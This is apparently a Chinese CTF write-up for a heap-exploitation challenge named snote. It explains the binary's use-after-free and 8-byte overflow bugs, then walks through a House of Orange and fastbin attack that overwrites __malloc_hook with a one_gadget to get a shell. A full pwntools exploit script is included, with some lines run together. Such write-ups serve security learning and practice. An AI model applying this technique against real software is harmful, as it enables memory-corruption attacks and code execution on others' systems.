巅峰极客snote
巅峰极客snote
链接:https://pan.baidu.com/s/1aAb4JjplV-MBj8iQCauI2Q
提取码:977o
复制这段内容后打开百度网盘手机App,操作更方便哦
查看保护&大致逻辑
是一个选单程序,且保护全开
功能分析
1.add
2.show
dword_202014为1,只能泄露一次
3.delete
dword_202010只能free一次,且free之后指针没有置0
4.edit
edit部分存在溢出 8个字节大小
利用思路
1.首先利用edit溢出覆盖TOPchunk
2.使用house of orange修改的Topchunk 必须要实现内存对齐机制。(即最后三位为0)
在这里我开辟了一个0x24大小的堆之后,便覆盖Topchunk,但为了 满足内存对齐机制覆盖最小的值为0xfe1
3.之后分配一个内存大于0xfe0的内存,topchunk无法满足分配的内存大小,堆以brk的形式拓展,topchunk会被置入unsorted bin中
4.之后再分配一段内存,该内存从unsortedbin中切割,据此我们可以从中泄露出main_arena的地址,以泄露main_arena的地址,从而获取libc版本和基地址
5.之后将这个指针删除,再edit这个指针的fd为main_arena-0x33。之后分配第二次内存,之后分配到malloc_hook附近 最后再malloc_hook处写上one_gadget即可拿到shell
exp
# -*- coding: utf-8 -*-
from pwn import *
context.log_level='debug'p = process("./geekpwn")# ptr 0x202010
def add(size,data):p.recvuntil("Your choice > ")p.sendline("1")p.recvuntil("Size > ")p.sendline(str(size))p.recvuntil("Content > \n")p.send(data)def show():p.recvuntil("Your choice > ")p.sendline("2")def delete():p.recvuntil("Your choice > ")p.sendline("3")def edit(size,data):p.recvuntil("Your choice > ")p.sendline("4")p.recvuntil("Size > ")p.sendline(str(size))p.recvuntil("Content > \n")p.send(data)p.recvuntil("What's your name?\n")
p.sendline("test")
add(24,'b'*4)
data = 'b'*24 + p32(0x0fe1)#修改chunk大小
edit(28,data)
add(4080,'a'*8)
#gdb.attach(p,"b *$rebase(0xf63)")
#delete()
#gdb.attach(p,"b *$rebase(0xf63)")add(104,'1'*8)
#gdb.attach(p,"b *$rebase(0xf63)")show()
p.recvuntil("1"*8)
main_arena = u64(p.recv(6) + '\x00\x00') - 1640
fake_bin = main_arena - 0x33
libc = main_arena - 0x3c4b20
g_level='debug'
success("main_arena: "+hex(main_arena))
success("libc is : "+hex(libc))
delete()
edit(16,p64(fake_bin) + p64(0))
add(104,'2'*8)
one = libc + 0xf02a4 # 0x4526a #0xf02a4 #0xf1147shellcode = "q"*19 + p64(one)
add(104,shellcode)
success("one: "+hex(one))p.sendline("1")
p.recvuntil("Size > ")
p.sendline('100')
p.interactive()
本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!
